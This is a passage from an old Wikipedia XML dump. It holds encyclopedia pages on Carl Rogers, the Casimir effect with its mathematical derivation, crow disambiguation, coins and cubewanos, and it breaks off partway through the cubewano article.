'Rogerian psychotherapy' became widely influential, embraced for its [[humanistic]] approach.  Rogers  also made significant contributions to the field of [[adult education]], with his Experiential theory of learning.  Rogers maintained that all [[human being]]s have a natural desire to learn.  He defined two categories of learning: meaningless, or [[cognitive]] learning (e.g., memorizing multiplication tables) and significant, or [[experiential learning]] (applied knowledge which addresses the needs and wants of the learner).

Rogers' basic tenet was that if unconditional positive regard, genuineness, and [[empathic]] understanding, was present in any relationship (though he started out by focusing on counselor-client relationships), that growth and psychological healing would occur. According to Rogers, these tenets were both necessary and sufficient to create a relationship conducive to enhancing the client's [[psychological]] well being, by enabling the client to fully experience all of themselves. He saw one of the chief causes of mental, emotional and existential suffering as people not being able to accept or allow themselves to fully experience all of who they are&amp;mdash;which includes aspects that are not always socially acceptable.

Writing about the role of the clinician, he remarked that, &quot;In every respect in which we make an object of the person&amp;mdash;whether by diagnosing him, analyzing him, or perceiving him impersonally in a case history&amp;mdash;we stand in the way of our therapeutic goal. [...]  We are deeply helpful only when we relate as persons, when we risk ourselves as persons in the relationship, when we experience the other as a person in their own right.  Only then is there a meeting at a depth that dissolves the pain of aloneness in both client and therapist.&quot;

Rogers' idea of the fully functioning person involved the following qualities, which show marked similarities to [[Buddhist]] philosophy:

*&lt;u&gt;Openness to experience:&lt;/u&gt; The accurate perception of one's feelings and experience in the world

*&lt;u&gt;Existential living:&lt;/u&gt; Living in the present, rather than the past (''gone'') or the future (''yet to come'')

*&lt;u&gt;Organismic trusting:&lt;/u&gt; Trusting one's own thoughts and feelings as accurate; do what comes naturally

*&lt;u&gt;Experiential freedom:&lt;/u&gt; To acknowledge one's freedoms and take responsibility for one's own actions

*&lt;u&gt;Creativity:&lt;/u&gt; Full participation in the world, including contributing to others' lives

Rogers and some colleagues founded the '[[encounter group|Group Encounter]]' (for young people, managers etc.) and '[[Marriage Encounter]]' (ME).

==Quotes==
&quot;Experience is, for me, the highest authority.  The touchstone of validity is my own experience.  No other person's ideas, and none of my own ideas, are as authoritative as my experience.  It is to experience that I must return again and again, to discover a closer approximation to truth as it is in the process of becoming in me.  Neither the Bible nor the prophets -- neither Freud nor research --neither the revelations of God nor man -- can take precedence over my own direct experience.  My experience is not authoritative because it is infallible.  It is the basis of authority because it can always be checked in new primary ways.  In this way its frequent error or fallibility is always open to correction.&quot;  
Carl Rogers, from '''[[On Becoming a Person]]''

&quot;If we value independence, if we are disturbed by the growing conformity of knowledge, of values, of attitudes, which our present system induces, then we may wish to set up conditions of learning which make for uniqueness, for self-direction, and for self-intitiated learning.&quot;
Carl Rogers

== See also ==
* [[Buddhism]]
* [[Christianity]]
* [[Communication]]
* [[Person centered psychotherapy]]
* [[Humanistic psychology]]
* [[Psychotherapy]]

== External links ==
* [http://www.nrogers.com/carlrogersbio.html nrogers.com] - Rogers Biography
* [http://www.ship.edu/%7Ecgboeree/rogers.html Personality Theories] - Carl Rogers
* [http://www.writersmugs.com/zoomin/192/CarlRogers.html Portrait of Carl Rogers] - Gallery of Writers
* [http://www.panarchy.org/rogers/person.html Carl R. Rogers, On Becoming a Person (1961)]
* [http://www.panarchy.org/rogers/learning.html Carl R. Rogers, Freedom to Learn (1969)]

[[Category:1902 births|Rogers, Carl]]
[[Category:1987 deaths|Rogers, Carl]]
[[Category:Psychologists|Rogers, Carl]]
[[Category:American psychologists|Rogers, Carl]]
[[Category:Human Potential Movement|Rogers, Carl]]
[[Category:Humanists]]
[[Category:People from Illinois|Rogers, Carl]]

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[[he:קארל רוג'רס]]
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[[ru:Роджерс, Карл Рэнсом]]
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[[zh:卡爾·羅哲斯]]</text>
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  </page>
  <page>
    <title>Casimir effect</title>
    <id>7555</id>
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      <text xml:space="preserve">In [[physics]], the '''Casimir effect''' is a weak [[Force (physics)|force]] exerted between separate objects, which is not due to [[electric charge|charge]], [[gravity]], or exchange of [[particles]], but instead is due to [[resonance]] in the intervening space between the objects, of [[Zero point energy|all-pervasive energy fields]]. The force is only measurable when the distance between the objects is extremely small, since it falls off rapidly with distance.

[[Netherlands|Dutch]] [[physicist]] [[Hendrik B. G. Casimir]] first proposed the existence of the force, and an experiment to detect it in [[1948]] while participating in research at [[Philips]] Research Labs. His classic form of the experiment uses a pair of [[electric charge|uncharged]] parallel metal plates in a vacuum, and has successfully demonstrated the force to within 15% of the predicted value according to Casimir's theory.

The [[van der Waals force]] between a pair of neutral [[atom]]s is a similar effect. In modern [[theoretical physics]], the Casimir effect plays an important role in the [[nucleon#Models of the nucleon|chiral bag model]] of the [[nucleon]], and in applied physics, it is becoming of increasing importance in development of the ever-smaller, miniaturised components of emerging [[microtechnology|micro-]] and [[nanotechnology|nano-]] technologies.

==Overview==
The Casimir effect can be understood by the idea that the presence of conducting metals and [[dielectric]]s alter the [[vacuum expectation value]] of the energy of the [[electromagnetic field]]. Since the value of this energy depends on the shapes and positions of the conductors and dielectrics, the Casimir effect manifests itself as a force between such objects.

==Vacuum energy==
The Casimir effect is an outcome of [[quantum field theory]], which states that all of the various fundamental [[field (physics)|fields]], such as the [[electromagnetic field]], must be quantized at each and every point in space. In a naïve sense, a field in physics may be envisioned as if space were filled with interconnected vibrating balls and springs, and the strength of the field can be visualized as the displacement of a ball from its rest position. Vibrations in this field propagate, and are governed by the appropriate [[wave equation]] for the particular field in question. The [[second quantization]] of quantum field theory requires that each such ball-spring combination be quantized, that is, that the strength of the field be quantized at each point in space. Canonically, the field at each point in space is a [[Harmonic oscillator|simple harmonic oscillator]], and its quantization places a [[quantum harmonic oscillator]] at each point.  Excitations of the field correspond to the [[elementary particle]]s of [[particle physics]]. However, as this picture shows, even the [[vacuum]] has a vastly complex structure. All calculations of quantum field theory must be made in relation to this model of the vacuum.

The vacuum has, implicitly, all of the properties that a particle may have: [[spin (physics)|spin]], or [[polarization]] in the case of [[light]], [[energy]], and so on. On average, all of these properties cancel out: the vacuum is after all, &quot;empty&quot; in this sense. One important exception is the [[vacuum energy]] or the [[vacuum expectation value]] of the energy. The quantization of a simple harmonic oscillator states that the lowest possible energy or [[zero-point energy]] that such an oscillator may have is  

:&lt;math&gt;{E} = \begin{matrix} \frac{1}{2} \end{matrix} \hbar \omega \ .&lt;/math&gt;

Summing over all possible oscillators at all points in space gives an infinite quantity. The removal of this infinity presents a challenge for theoretical particle physics, and [[as of 2005]], there is no compelling explanation for how this infinity should be treated as essentially zero (as a non-zero value is essentially the [[cosmological constant]]; a large value causes trouble in [[cosmology]]).

==The Casimir effect==
[[Image:Casmir_plates.jpg|thumb|right|300px|Casmir forces on parallel plates.]]

Casimir's observation was that the [[second-quantized]], quantum electromagnetic field, in the presence of bulk bodies such as metals or [[dielectric]]s, must obey the same [[boundary condition]]s that the classical electromagnetic field must obey. In particular, this affects the calculation of the vacuum energy in the presence of a [[Conductor (material)|conductor]] or dielectric.

Consider, for example, the calculation of the vacuum expectation value of the electromagnetic field inside a metal cavity, such as, for example, a [[radar cavity]] or a [[microwave]] [[waveguide]]. In this case, the correct way to sum the zero point energy of the field is to sum the energies of the [[standing wave]]s of the cavity. To each and every possible standing wave corresponds an energy; say the energy of the ''n''th standing wave is &lt;math&gt;E_n&lt;/math&gt;. The vacuum expectation value of the electromagnetic field in the cavity is then

:&lt;math&gt;\langle E \rangle = \frac{1}{2} \sum_n E_n&lt;/math&gt;

with the sum running over all possible values of ''n'' enumerating the standing waves. The factor of 1/2 corresponds to the fact that the zero-point energies are being summed (it is the same 1/2 as appears in the equation &lt;math&gt;E=\hbar \omega/2&lt;/math&gt;). Written in this way, this sum is clearly divergent; however, it can be used to create finite expressions. 

In particular, one may ask how the zero point energy depends on the shape ''s'' of the cavity.  Each energy level &lt;math&gt;E_n&lt;/math&gt; depends on the shape, and so one should write &lt;math&gt;E_n(s)&lt;/math&gt; for the energy level, and &lt;math&gt;\langle E(s) \rangle&lt;/math&gt; for the vacuum expectation value. At this point comes an important observation: the force at point ''p'' on the wall of the cavity is equal to the change in the vacuum energy if the shape ''s'' of the wall is perturbed a little bit, say by &lt;math&gt;\delta s&lt;/math&gt;, at point ''p''. That is, one has

:&lt;math&gt;F(p) = - \left. \frac{\delta \langle E(s) \rangle} {\delta s} \right\vert_p\,&lt;/math&gt;

Amazingly, this value is finite in many practical calculations.

==Casimir's calculation==
In the original calculation done by Casimir, he considered the space between a pair of conducting metal plates a distance ''a'' apart.  In this case, the standing waves are particularly easy to calculate, since the transverse component of the electric field and the normal component of the magnetic field must vanish on the surface of a conductor. Assuming the parallel plates lie in the x-y plane, the standing waves are

:&lt;math&gt;\psi_n(x,y,z,t) = e^{-i\omega_nt} e^{ik_xx+ik_yy} \sin \left( k_n z \right)&lt;/math&gt;

where &lt;math&gt;\psi&lt;/math&gt; stands for the electric component of the electromagnetic field, and, for brevity, the [[polarization]] and the magnetic components are ignored here. Here, &lt;math&gt;k_x&lt;/math&gt; and &lt;math&gt;k_y&lt;/math&gt; are the [[wave vector]]s in directions parallel to the plates, and 

:&lt;math&gt;k_n = \frac{n\pi}{a}&lt;/math&gt;

is the wave-vector perpendicular to the plates.  Here, ''n'' is an integer, resulting from the requirement that &amp;psi; vanish on the metal plates. The energy of this wave is

:&lt;math&gt;\omega_n = c \sqrt{{k_x}^2 + {k_y}^2 + \frac{n^2\pi^2}{a^2}}&lt;/math&gt;

where ''c'' is the [[speed of light]]. The vacuum energy is then the sum over all possible excitation modes

:&lt;math&gt;\langle E \rangle = \frac{\hbar}{2} \cdot 2
\int \frac{dk_x dk_y}{(2\pi)^2} \sum_{n=-\infty}^\infty A\omega_n &lt;/math&gt;

where ''A'' is the area of the metal plates, and a factor of 2 is introduced for the two possible polarizations of the wave.  This expression is clearly infinite, and to proceed with the calculation, it is convenient to introduce a [[regularization (physics)|regulator]] (discussed in greater detail below). The regulator will serve to make the expression finite, and in the end will be removed. The [[Zeta function regularization|zeta-regulated]] version of the energy per unit-area of the plate is

:&lt;math&gt;\frac{\langle E(s) \rangle}{A} = \hbar 
\int \frac{dk_x dk_y}{(2\pi)^2} \sum_{n=-\infty}^\infty \omega_n 
\vert \omega_n\vert^{-s}&lt;/math&gt;

In the end, the limit &lt;math&gt;s\to 0&lt;/math&gt; is to be taken. Here ''s'' is just a [[complex number]], not to be confused with the shape discussed previously. This integral/sum is finite for ''s'' [[real number|real]] and larger than 3.  The sum has a [[pole (complex analysis)|pole]] at ''s''=3, but may be [[analytic continuation|analytically continued]] to ''s''=0, where the expression is finite.  Expanding this, one gets

:&lt;math&gt;\frac{\langle E(s) \rangle}{A} = 
\frac{\hbar c^{1-s}}{4\pi^2} \sum_n \int_0^\infty 2\pi qdq  
\left \vert q^2 + \frac{\pi^2 n^2}{a^2} \right\vert^{(1-s)/2}&lt;/math&gt;

where [[polar coordinates]] &lt;math&gt;q^2 = k_x^2+k_y^2&lt;/math&gt; were introduced to turn the [[double integral]] into a single integral. The integral is easily performed, resulting in 

:&lt;math&gt;\frac{\langle E(s) \rangle}{A} = 
-\frac {\hbar c^{1-s} \pi^{2-s}}{2a^{3-s}} \frac{1}{3-s}
\sum_n \vert n\vert ^{3-s}&lt;/math&gt;

The sum may be understood to be the [[Riemann zeta function]], and so one has
 
:&lt;math&gt;\frac{\langle E \rangle}{A} = 
\lim_{s\to 0} \frac{\langle E(s) \rangle}{A} = 
-\frac {\hbar c \pi^{2}}{6a^{3}} \zeta (-3)&lt;/math&gt;

But &lt;math&gt;\zeta(-3)=1/120&lt;/math&gt; and so one obtains

:&lt;math&gt;\frac{\langle E \rangle}{A} = 
\frac {-\hbar c \pi^{2}}{3 \cdot 240 a^{3}}&lt;/math&gt;

The Casimir force per unit area &lt;math&gt;F_c / A&lt;/math&gt; for idealized, perfectly conducting plates with vacuum between them is

:&lt;math&gt;{F_c \over A} = -
\frac{d}{da} \frac{\langle E \rangle}{A} =
-\frac {\hbar c \pi^2} {240 a^4}&lt;/math&gt;

where

:&lt;math&gt;\hbar&lt;/math&gt; (hbar, &amp;#8463;) is the [[reduced Planck constant]],
:&lt;math&gt;c&lt;/math&gt; is the [[speed of light]],
:&lt;math&gt;a&lt;/math&gt; is the [[distance]] between the two plates.

The force is negative, indicating that the force is attractive: by moving the two plates closer together, the energy is lowered. The presence of &lt;math&gt;\hbar&lt;/math&gt; shows that the Casimir force per unit area &lt;math&gt;F_c / A&lt;/math&gt; is very small, and that furthermore, the force is inherently of quantum-mechanical origin.

==Measurement==
One of the first experimental tests was conducted by Marcus Spaarnay at Philips in Eindhoven, in 1958, in a delicate and difficult experiment, with results in general agreement with theory.

The Casimir effect was measured in [[1997]] by [[Steve K. Lamoreaux]] of [[Los Alamos National Laboratory]] and by [[Umar Mohideen]] of the [[University of California at Riverside]] and his colleague [[Anushree Roy]].  In practice, rather than using two parallel plates, which would require phenomenally accurate alignment to ensure they were parallel, the experiments use one plate that is flat and another plate that is a part of a [[sphere]] with a large [[radius of curvature]].

Further research has shown that, with materials of certain [[permittivity]] and [[permeability]], or with a certain configuration, the Casimir effect can be repulsive instead of attractive.

==Regularization==
In order to be able to perform calculations in the general case, it is convenient to introduce a [[regularization (physics)|regulator]] in the summations.  This is an artificial device, used to make the sums finite so that they can be more easily manipulated, followed by the taking of a limit so as to remove the regulator.

The [[heat kernel]] or [[exponential|exponentially]] regulated sum is
:&lt;math&gt;\langle E(t) \rangle = \frac{1}{2} \sum_n \hbar |\omega_n| 
\exp (-t|\omega_n|)&lt;/math&gt;

where the limit &lt;math&gt;t\to 0^+&lt;/math&gt; is taken in the end. The divergence of the sum is typically manifested as

:&lt;math&gt;\langle E(t) \rangle = \frac{C}{t^3} + finite\,&lt;/math&gt;

for three-dimensional cavities. The infinite part of the sum is associated with the bulk constant ''C'' which ''does not'' depend on the shape of the cavity.   The interesting part of the sum is the finite part, which is shape-dependent. The [[Gaussian function|Gaussian]] regulator 

:&lt;math&gt;\langle E(t) \rangle = \frac{1}{2} \sum_n \hbar |\omega_n| 
\exp (-t^2|\omega_n|^2)&lt;/math&gt;

is better suited to numerical calculations because of its superior convergence properties, however, it is more difficult to use in theoretical calculations. Other, suitably smooth, regulators may be used as well.  The [[zeta function regulator]]

:&lt;math&gt;\langle E(s) \rangle = \frac{1}{2} \sum_n \hbar |\omega_n| |\omega_n|^{-s}&lt;/math&gt;

is completely unsuited for numerical calculations, but is quite useful in theoretical calculations. In particular, divergences show up as poles in the [[complex plane|complex ''s'' plane]], with the bulk divergence at ''s''=4. This sum may be [[analytic continuation|analytically continued]] past this pole, to obtain a finite part at ''s''=0.

Not every cavity configuration necessarily leads to a finite part (the lack of a pole at ''s''=0) or shape-independent infinite parts. In this case, it should be understood that additional physics has to be taken into account. In particular, at extremely large frequencies (above the [[plasma frequency]]), metals become transparent to [[photon]]s (such as [[x-ray]]s), and dielectrics show a frequency-dependent cutoff as well. This frequency dependence acts as a natural regulator. There are a variety of bulk effects in [[solid state physics]], mathematically very similar to the Casimir effect, where the [[cutoff frequency]] comes into explicit play to keep expressions finite. (These are discussed in greater detail in ''Landau and Lifshitz'', &quot;Theory of Continuous Media&quot;.)

==Generalities==
The Casimir effect can also be computed using the mathematical mechanisms of [[functional integral]]s of quantum field theory, although such calculations are considerably more abstract, and thus difficult to comprehend. In addition, they can be carried out only for the simplest of geometries. However, the formalism of quantum field theory makes it clear that the vacuum expectation value summations are in a certain sense summations over so-called &quot;[[virtual particle]]s&quot;.

More interesting is the understanding that the sums over the energies of standing waves should be formally understood as sums over the [[eigenvalue]]s of a [[Hamiltonian]]. This allows atomic and molecular effects, such as the [[van der Waals force]], to be understood as a variation on the theme of the Casimir effect. Thus one considers the Hamiltonian of a system as a function of the arrangement of objects, such as atoms, in [[configuration space]]. The change in the zero-point energy as a function of changes of the configuration can be understood to result in forces acting between the objects.

In the [[chiral bag model]] of the [[nucleon]], the Casimir energy plays an important role in showing the mass of the nucleon is independent of the bag radius. In addition, the [[spectral asymmetry]] is interpreted as a non-zero vacuum expectation value of the [[baryon number]], cancelling the [[topological winding number]] of the [[pion]] field surrounding the nucleon. 

==Analogies==
A similar analysis can be used to explain [[Hawking radiation]] that causes the slow &quot;[[evaporation]]&quot; of [[black holes]] (although this is generally explained as the escape of one particle from a virtual particle-antiparticle pair, the other particle having been captured by the black hole).

A macroscopic effect analogous to the Casimir effect was observed by [[18th century]] [[France|French]] sailors.  Where two ships are rocking from side to side in conditions with a strong swell but light wind, and the ships come closer together than roughly 40&amp;nbsp;m, destructive [[interference]] eliminates the swell between the ships.  The calm sea between the ships has a lower energy density than the swell to either side of the ships, creating a pressure that can push the ships closer together.  If they get too close together, the ships' rigging can become entangled.  As a countermeasure, a handbook from the early [[1800s]] recommends that each ship should send out a boat rowed by 10 to 20 sailors to physically pull the ships apart.

==References==
* H.B.G. Casimir, ''Proc. Kon. Nederland. Akad. Wetensch.'' '''B51''', 793 (1948)
* [http://math.ucr.edu/home/baez/physics/Quantum/casimir.html Casimir effect description] from [[University of California, Riverside]]'s version of the [http://math.ucr.edu/home/baez/physics/index.html Usenet physics FAQ].
* A. Lambrecht, &quot;[http://physicsweb.org/articles/world/15/9/6  The Casimir effect: a force from nothing]&quot;, ''Physics World'', September 2002.
* M. Bordag, U. Mohideen, V.M. Mostepanenko, &quot;[http://arxiv.org/abs/quant-ph/0106045 New Developments in the Casimir Effect]&quot;, ArXiv quant-ph/0106045. ''(275 page review paper.)''
* O. Kenneth, I. Klich, A. Mann and M. Revzen, ''Repulsive Casimir forces'', Department of Physics, Technion - Israel Institute of Technology, Haifa, February 2002
* S. K. Lamoreaux, &quot;[http://link.aps.org/abstract/PRL/v78/p5 Demonstration of the Casimir Force in the 0.6 to 6 µm Range]&quot;, ''Phys. Rev. Lett.'' '''78''', 5&amp;#8211;8 (1997)
* J. D. Barrow, &quot;[http://www.gresham.ac.uk/event.asp?PageId=4&amp;EventId=258 Much ado about nothing]&quot;, (2005) Lecture at [[Gresham College]]. ''(Includes discussion of French naval analogy.)''
* G. Lang, [http://www.casimir.rl.ac.uk/default.htm The Casimir Force] web site, 2002
* V.V. Nesterenkoa, G. Lambiaseb, G. Scarpettab, [http://arxiv.org/abs/hep-th/0503100 Calculation of the Casimir energy at zero and finite temperature: some recent results], arXiv:hep-th/0503100 v2 13 May 2005
[[Category:Quantum field theory]]
[[Category:Physical phenomena]]

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  <page>
    <title>Crow (disambiguation)</title>
    <id>7556</id>
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      <comment>/* People */</comment>
      <text xml:space="preserve">{{wiktionarypar|crow}}
The word '''crow''' can refer to:

== Science ==
* [[Crow]] — Birds in the [[genus]] ''Corvus''; they are large [[perching bird|Passerine]] [[bird]]s.
* [[Corvus (astronomy)|Corvus]] — The constellation that represents a [[crow]]
* ([[Butterfly]]) Crow is also a family of butterfly in the Indian subcontinent and Southeast Asia. One member of this family is the [[Euploea core|Common Indian Crow]].

== People ==
* [[Crow Nation]] — A [[Native Americans in the United States|Native American]] [[tribe]]
* American Singer/songwriter [[Sheryl Crow]]
* American property developer [[Trammell Crow]]
* Actor [[Russell Crowe]]

== Music ==
* &quot;Black Crow&quot;, a [[Joni Mitchell]] song on her ''[[Hejira (album)|Hejira]]'' album.
* [[The Crows]] — An influential [[doo wop]] group
* [[The Black Crowes]] — [[Atlanta, Georgia|Atlanta]]-based [[Blues music|Blues]]-influenced [[rock and roll|rock group]] of the [[1990s]]
* [[Counting Crows]] is a rock band that became extremely popular following the release of their debut album ''[[August and Everything After]]'', which featured the hit song &quot;[[Mr. Jones]]&quot;.

== Entertainment ==
* ''[[Two Black Crows]]'' — Long-running [[minstrel]] [[sketch comedy]] series by [[Moran and Mack]], [[United States|American]] [[vaudeville]] [[comedian]]s of the [[1920s]]
* [[Crow T. Robot]] — One of the [[robot]] characters in the ''[[Mystery Science Theater 3000]]'' television series.
* Black Crow is the name of a character who has appeared several times in ''[[Spider-Man]]'' comic books.
* ''[[The Crow]]'' — A [[comic book]] by [[James O'Barr]] and film [[The Crow (movie)|of the same name]] starring [[Brandon Lee]]

== Synonyms ==
* &quot;Crow&quot; is also another word for [[mucus|snot]].
* In police slang, a &quot;crow&quot; is a [[terrorism|terrorist]].
* CROW is an acronym for Coupled-Resonator Optical Waveguide

== Miscellaneous ==
* ''[[Crow (poetry)|Crow]]'' — The literary work by [[Ted Hughes]]
* [[Crows (candy)|Crow]] — [[liquorice]] [[candy]]
* The ''[[Adelaide Crows|Crows]]'' - [[Australian rules football]] team from [[Adelaide, South Australia]] playing in the elite [[Australian Football League]].
* &quot;Crows&quot; is a nickname given to brothers of the [[Alpha Chi Rho]] Fraternity

{{disambig}}</text>
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    <title>Coinage Metals</title>
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      <text xml:space="preserve">#REDIRECT [[Group 11 element]]</text>
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  <page>
    <title>Coin</title>
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      <comment>rv to last good version by Margana</comment>
      <text xml:space="preserve">:''This article is about monetary coins. For other meanings see: [[Coin (disambiguation)]]''
{{Numismatics}}
A '''coin''' is usually a piece of hard material, generally [[metal]] and usually in the shape of a [[disc]], which is issued by a government to be used as a form of [[money]].  Along with [[banknote]]s, coins make up the cash forms of all modern money systems.  Coins are usually used for lower-valued units, and banknotes are usually used for the higher values; also, in most money systems, the highest value coin is worth less than the lowest-value note. 

==Collecting coins==

See [[Coin collecting]] and [[Numismatics]] for more information on the collecting of coins, bank notes, [[token coins]] and [[Exonumia]].

==The value of a coin==

The market exchange value of a coin comes from its [[historic value]], and/or the [[intrinsic value]] of the component metal (for example [[gold coin]]s, [[silver coin]]s or [[platinum coin]]s).

However, in modern times, most coins are made of a [[base metal]] and their value comes strictly from their status as [[fiat money]]. This means that the value of the coin is decreed by government fiat rather than agreed by the people, which really makes it less a coin and more a [[Token (Numismatics)|token]] in the strictest sense.

To distinguish between these two types of coins, as well as from other forms of tokens which have been used as money, monetary scholars have defined three criteria that an object must meet to be a &quot;true coin&quot;.  These criteria are:

# It must be made of a valuable material, and trade for close to the market value of that material.
# It must be of a standardized weight and purity.
# It must be marked to identify the authority that guarantees the content.

By the above definition, the invention and first known usage of coins comes from the Kingdom of [[Lydia]] circa 643-630 B.C.  Under three generations of Lydian kings, the money of Lydia gradually moved from being lumps of [[electrum]] (a naturally occurring alloy of silver and gold) to coins of a guaranteed weight and purity, marked with the seal of the King.  True coins also developed very close to this time frame in both [[India]] and [[China]].

The [[history of coins]] is a long and interesting one. For example, in 1979 and 1980, a Chinese architectural team excavating the region surrounding the ancient kingdom of [[Loulan]] discovered some [[Mesolithic]] stone [[tools]] and '''coins''' (see [[Loulan#Modern Chinese Expeditions|Loulan: Modern Chinese Expeditions]]).

==Coin debasement==

[[image:US_price_history.png|frame|[[United States|US]] price levels, 1800&amp;ndash;2000&lt;br&gt;Red line marks leaving silver standard]]

Throughout history, governments have been known to create more coinage than their supply of precious metals would allow. By replacing some fraction of a coin's precious metal content with a base metal (often [[copper]] or [[nickel]]), the intrinsic value of each individual coin was reduced (thereby ''&quot;debasing&quot;'' their money), allowing the coining authority to produce more coins than would otherwise be possible.  [[Debasement]] of money almost always leads to price [[inflation]] unless [[price control]]s are also instituted by the governing authority.  Some consider a classic example of this phenomenon to be the behavior of price levels in the [[United States]] since [[1964]] (the last year circulating [[United States Coin]]s were minted of 90 percent silver).  It should be remembered, however, that for most of the era of U.S. silver coinage, such coins were actually fiat money, because the value of silver was relatively low.   For example, in 1960, the silver in a dime was worth less than four cents.  It also should not be inferred that such debasement and inflation were unique to the U.S.  Virtually every other country debased their coinage too.  The United Kingdom saw similar inflation during the same era.   What is unique to the United States, among the developed countries, is that the U.S. has never revised its coinage system to accommodate this inflation, and as a result, coins in America today are scarcely regarded as &quot;money&quot; in any practical sense.  Increasingly common are coin counting machines which charge money to consumers for converting their &quot;coins&quot; into &quot;cash&quot;.

==Features of modern coinage==

The milled, or reeded, edges still found on many coins were originally designed to show that none of the valuable metal had been shaved off the coin.  Prior to the use of milled edges, circulating coins suffered from &quot;shaving,&quot; a common problem where unscrupulous persons would shave a small amount of precious metal from the edge of a circulating coin. Circulating unmilled British [[sterling silver]] coins were known to be shaved to almost half of their minted weight.  This form of debasement in [[Tudor dynasty|Tudor]] England led to the formulation of [[Gresham's Law]]. The monarch would have to periodically recall, paying only bullion value of the silver, and re-mint circulating coins.

Traditionally the side of a coin carrying a bust of a monarch or other authority, or a [[national emblem]], is called the ''obverse'', or colloquially ''heads''. The back side is called the ''reverse'', or colloquially ''tails''. However, the rule is violated in some cases. [http://www.ucalgary.ca/~cns/euro.html] Another rule is that the side carrying the year of [[mint (coin)|mint]]ing is the obverse, although most [[Canada|Canadian]] coins, and all [[Japan]]ese coins, are an exception.

The orientation of the obverse with respect to the reverse differs between countries. Some coins have [[coin orientation]], where the coin must be flipped vertically to see the other side; other coins, such as British coins, have [[medallic orientation]], where the coin must be flipped horizontally to see the other side.

Coins that are not round (British [[British Fifty Pence coin|50 pence]] for example) usually have an odd number of sides, with the edges rounded off. This is so that the coin has a [[Curve of constant width|constant diameter]], and therefore will be recognised by machines whichever way it is inserted. If a coin had an even number of sides this would not be true.  Some older such designs remain, such as the [[dodecagon|12-sided]] [[Australian dollar|Australian 50 cent coin]].

Coins are popularly used as a sort of two-sided [[dice|die]]; in order to choose between two options with a random possibility, one choice will be labeled &quot;heads&quot; and the other &quot;tails,&quot; and a coin will be flipped or &quot;tossed&quot; to see whether the heads or tails side comes up on top. See [[Bernoulli trial]]; a fair coin is defined to have the probability of heads (in the parlance of Bernoulli trials, a &quot;success&quot;) of exactly 0.5. A widely publicized example of an asymmetrical coin is the [[Belgian euro coins|Belgian one euro coin]] [http://www.newscientist.com/article.ns?id=dn1748].  See also [[coin flipping]].

Coins are sometimes falsified to make one side weigh more. Such a coin is often said to be &quot;weighted.&quot;

Some coins, called [[Bracteate|bracteates]], are so thin they can only be struck on one side.

Bi-metallic coins are used for comemorative purposes and in the 1990s,France used a tri-metallic coin.

Coins with guitar shapes were issued in Somalia this year.
Poland issued a fan-shaped 10 zloty coin but the oddest coin ever was the 2002 Nauru,Europe-shaped coin.

==See also==
{{commonscat|Coins}}
*[[Bracteate]]
*[[Numismatics]]
*[[Banknote]]
*[[Coin collecting]]
*[[Coinage Metals]]
*[[Counterfeit]]
*[[Currency]]
*[[Euro coins]]
*[[Roman currency]]
*[[List of coins]]
*[[Greek coinage]]

==External links==
* [http://www.goldeneaglecoin.com/ Current US Coin Prices]
*[http://www.heritagecoin.com/features/numisarticles.php?id=96 The Numismatic Frontier] article surveying the variety of coins in the world.
*[http://www.coinagent.com/ Coin Collecting] - A directory of coin collecting resources.
*[http://www.coinfacts.com/ CoinFacts.com - The Internet Encyclopedia of US Coins] Free information on United States Coins, including pricing, rarity, and historical information.
*[http://dihu.ancients.info Numismopolis-Ancient Coin collecting, Ancient Minting, and Experimental archaeology.] - includes information about collecting and ancient minting
* [http://www.coincommunity.com/ Coin Community Forum] - A coin collecting community.
* [http://www.greekandromancoins.com/forum Ancient Coins Forum]
* [http://www.coinpage.com Coin Image Database ]

[[Category:Coins| ]]

[[an:Moneda]]
[[bg:Монета]]
[[ca:Moneda]]
[[da:Mønt]]
[[de:Münze]]
[[el:&amp;#925;&amp;#972;&amp;#956;&amp;#953;&amp;#963;&amp;#956;&amp;#945;]]
[[eo:Monero]]
[[fr:Jeton]]
[[it:Moneta]]
[[lv:Mon&amp;#275;ta]]
[[nl:Munt]]
[[ja:&amp;#30828;&amp;#36008;]]
[[no:Mynt]]
[[pl:Moneta]]
[[ro:Moned&amp;#259;]]
[[ru:&amp;#1052;&amp;#1086;&amp;#1085;&amp;#1077;&amp;#1090;&amp;#1072;]]
[[simple:Coin]]
[[sl:Kovanec]]
[[fi:Kolikko]]
[[sv:Mynt]]
[[zh-min-nan:Gîn-kak-á]]
[[zh:硬币]]</text>
    </revision>
  </page>
  <page>
    <title>Coinage metal</title>
    <id>7559</id>
    <revision>
      <id>15905621</id>
      <timestamp>2004-05-07T06:05:13Z</timestamp>
      <contributor>
        <username>Alexwcovington</username>
        <id>37752</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Group 11 element]]</text>
    </revision>
  </page>
  <page>
    <title>College of the City of New York</title>
    <id>7560</id>
    <revision>
      <id>34383855</id>
      <timestamp>2006-01-08T17:36:54Z</timestamp>
      <contributor>
        <username>Georgia guy</username>
        <id>161456</id>
      </contributor>
      <comment>Edit an ancient page</comment>
      <text xml:space="preserve">The '''College of the City of New York''' was the former name of at least two buildings in New York City:

*[[City College of New York]]
*[[City University of New York]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Cubewano</title>
    <id>7561</id>
    <revision>
      <id>42054822</id>
      <timestamp>2006-03-03T14:13:59Z</timestamp>
      <contributor>
        <username>Eurocommuter</username>
        <id>870041</id>
      </contributor>
      <minor />
      <comment>/* Orbit plots */ wording + replaced gold wit yellow</comment>
      <text xml:space="preserve">{{TNO}}
A '''cubewano''' is a [[Kuiper belt]] object, [[orbit]]ing beyond [[Pluto]] and not controlled by [[orbital resonance|resonances]] with [[Neptune]]. Cubewanos, called also ''Classical'' Kuiper Belt objects, have semi-major axes in 40-50 [[astronomical unit|AU]] range and, unlike Pluto, do not cross Neptune’s orbit.
  
The odd name is derived from the first [[Trans-Neptunian object|trans-Neptunian object]] found, {{mpl|(15760) 1992 QB|1}}. Later objects were called &quot;QB1-o's&quot;, or cubewanos.

Objects identified as cubewanos include:

*{{mpl|(15760) 1992 QB|1}}
*{{mpl|2005 FY|9}} the largest known cubewano and one of the largest [[trans-Neptunian object]]s
*{{mpl|2003 EL|61}}, notable for its two moons and rapid rotation (3.9h) 
*[[(50000) Quaoar]]
*[[(20000) Varuna]]
*[[(19521) Chaos]]
*[[(53311) Deucalion]]
==Orbits==
[[Image:TheKuiperBelt_55AU_Classical.svg|right|thumb|400px|Large cubewanos and [[plutino]]s.]]
